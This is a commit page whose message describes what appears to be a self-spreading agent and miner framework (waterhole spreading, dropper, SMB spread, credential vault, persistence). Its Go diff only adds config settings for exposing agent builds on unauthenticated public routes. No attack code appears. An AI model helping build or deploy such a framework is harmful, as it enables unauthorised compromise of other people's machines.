feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
@@ -62,6 +62,10 @@ type ServerSettings struct {
|
||||
// FleetSecret is a random token generated once on first run and baked into
|
||||
// every forged agent binary. Agents must present it on connect or be rejected.
|
||||
FleetSecret string `json:"fleet_secret"`
|
||||
// PublicBuildsEnabled exposes all builds on unauthenticated /api/v1/public/* routes.
|
||||
// When false (default), only pinned + public-flagged + latest PublicBuildsLatestN are listed.
|
||||
PublicBuildsEnabled bool `json:"public_builds_enabled"`
|
||||
PublicBuildsLatestN int `json:"public_builds_latest_n"`
|
||||
}
|
||||
|
||||
// PoolEndpoint is a Stratum upstream used after the primary pool fails.
|
||||
@@ -225,6 +229,7 @@ func DefaultConfig() *Config {
|
||||
ObfuscateDefault: false,
|
||||
SignEnabled: false,
|
||||
SignTimestampURL: "http://timestamp.digicert.com",
|
||||
PublicBuildsLatestN: 3,
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -556,6 +561,10 @@ func mergeConfig(dst, src *Config) {
|
||||
if src.Server.FleetSecret != "" {
|
||||
dst.Server.FleetSecret = src.Server.FleetSecret
|
||||
}
|
||||
dst.Server.PublicBuildsEnabled = src.Server.PublicBuildsEnabled
|
||||
if src.Server.PublicBuildsLatestN != 0 {
|
||||
dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN
|
||||
}
|
||||
if src.TunnelDefaults.CloudflaredTargetURL != "" {
|
||||
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
|
||||
}
|
||||
@@ -866,6 +875,12 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||||
if in(srvKeys, "fleet_secret") && src.Server.FleetSecret != "" {
|
||||
dst.Server.FleetSecret = src.Server.FleetSecret
|
||||
}
|
||||
if in(srvKeys, "public_builds_enabled") {
|
||||
dst.Server.PublicBuildsEnabled = src.Server.PublicBuildsEnabled
|
||||
}
|
||||
if in(srvKeys, "public_builds_latest_n") && src.Server.PublicBuildsLatestN != 0 {
|
||||
dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN
|
||||
}
|
||||
}
|
||||
|
||||
if has("tunnel_defaults") {
|
||||
|
||||
Reference in New Issue
Block a user